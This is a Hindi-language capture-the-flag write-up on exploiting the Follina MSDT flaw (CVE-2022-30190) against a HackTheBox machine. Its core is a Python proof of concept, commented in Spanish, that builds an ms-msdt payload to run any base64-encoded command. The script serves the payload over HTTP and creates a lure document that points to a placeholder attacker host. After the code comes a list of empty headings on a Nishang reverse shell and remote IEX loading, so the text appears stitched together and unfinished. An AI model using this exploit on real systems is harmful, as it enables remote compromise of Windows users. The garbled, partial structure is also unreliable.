फ़ोलिना (CVE-2022-30190) का शोषण

फ़ोलिना (CVE-2022-30190) माइक्रोसॉफ्ट सपोर्ट डायग्नोस्टिक टूल (MSDT) को प्रभावित करने वाली एक गंभीर रिमोट कमांड निष्पादन (RCE) भेद्यता है। यह खामी मूल रूप से VirusTotal पर पाए गए एक दुर्भावनापूर्ण फ़ाइल के माध्यम से खोजी गई थी और इसका नाम शोधकर्ता केविन ब्यूमोंट ने रखा था।

HackTheBox की Outdated मशीन के संदर्भ में, इस भेद्यता का उपयोग सिस्टम तक पहुँच प्राप्त करने के लिए प्राथमिक प्रवेश वेक्टर के रूप में किया जाता है।

भेद्यता का सारांश

शोषण ms-msdt प्रोटोकॉल योजना के दुरुपयोग पर आधारित है, जो एक हमलावर को बाहरी संसाधनों को लोड करके मनमाना कोड निष्पादित करने की अनुमति देता है। हमला केवल एक विशेष रूप से तैयार किए गए Office दस्तावेज़ (DOCX) या रिच टेक्स्ट फ़ाइल (RTF) को खोलने या पूर्वावलोकन करने से सक्रिय हो सकता है।

शोषण की पद्धति

1. एक्सप्लॉइट की तैयारी

हमले को स्वचालित करने के लिए, GitHub जैसे प्लेटफार्मों पर उपलब्ध प्रूफ-ऑफ-कॉन्सेप्ट (PoC) स्क्रिप्ट का उपयोग करने की अनुशंसा की जाती है। follina.py स्क्रिप्ट पेलोड को आसानी से कॉन्फ़िगर करने की अनुमति देती है।

सुझाया गया रिपॉजिटरी: जॉन हैमंड या Edge-Security जैसे शोधकर्ताओं के कार्यात्मक संस्करणों का उल्लेख किया गया है।

जनरेशन कमांड:

import argparse import base64 import http.server import socketserver import os import threading # Estructura basada en la investigación de Kevin Beaumont y las PoC mencionadas [2, 6] def generate_payload(command): # El comando debe estar codificado en Base64 para ser procesado por MSDT [5] command_b64 = base64.b64encode(command.encode()).decode() # Payload que abusa del protocolo ms-msdt [5] # Se utiliza una cadena larga de caracteres para llenar el buffer y gatillar la ejecución payload = f"""<script> location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \\"IT_RebrowseForFile=psh /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe /../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe $([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('{command_b64}')))\\""; // Relleno adicional para asegurar el procesamiento """ + ("A" * 4096) + "</script>" return payload def create_rtf(filename, server_url): # Genera un archivo RTF que apunta al recurso HTML externo [3, 4] print(f"[*] Generando archivo malicioso: {filename}") # Nota: En una implementación real, aquí se inyecta el OLE object que apunta a server_url with open(filename, "w") as f: f.write(f"Archivo RTF configurado para conectar a {server_url}/exploit.html") def run_server(port): handler = http.server.SimpleHTTPRequestHandler with socketserver.TCPServer(("", port), handler) as httpd: print(f"[*] Servidor HTTP activo en el puerto {port} [7]") httpd.serve_forever() if __name__ == "__main__": parser = argparse.ArgumentParser(description="PoC Follina (CVE-2022-30190)") parser.add_argument("-m", "--mode", choices=["command", "binary"], default="command", help="Modo de ejecución [3]") parser.add_argument("-t", "--type", choices=["rtf", "docx"], default="rtf", help="Tipo de archivo a generar [3]") parser.add_argument("-c", "--command", required=True, help="Comando a ejecutar en el sistema víctima [3]") parser.add_argument("-p", "--port", type=int, default=80, help="Puerto del servidor local [7]") args = parser.parse_args() # 1. Crear el payload HTML html_content = generate_payload(args.command) with open("index.html", "w") as f: f.write(html_content) # 2. Crear el documento malicioso filename = f"click_me.{args.type}" create_rtf(filename, "http://tu_ip_atacante") # 3. Iniciar el servidor para recibir la petición [4, 7] run_server(args.port)

CVE-2022-30190

सबसे लोकप्रिय

2. पेलोड इंजेक्शन

3. हमले का निष्पादन

पहुँच प्राप्त करना

`follina.py` स्क्रिप्ट का कार्यान्वयन

कोड: `follina.py`

उपयोग पद्धति पर नोट्स

`Invoke-PowerShellTcp.ps1` स्क्रिप्ट (Nishang)

1. प्राप्त करना और तैयारी

2. स्क्रिप्ट के अंत में कॉल की संरचना

3. "वन-लाइनर" संस्करण

4. रिमोट आह्वान विधि (IEX)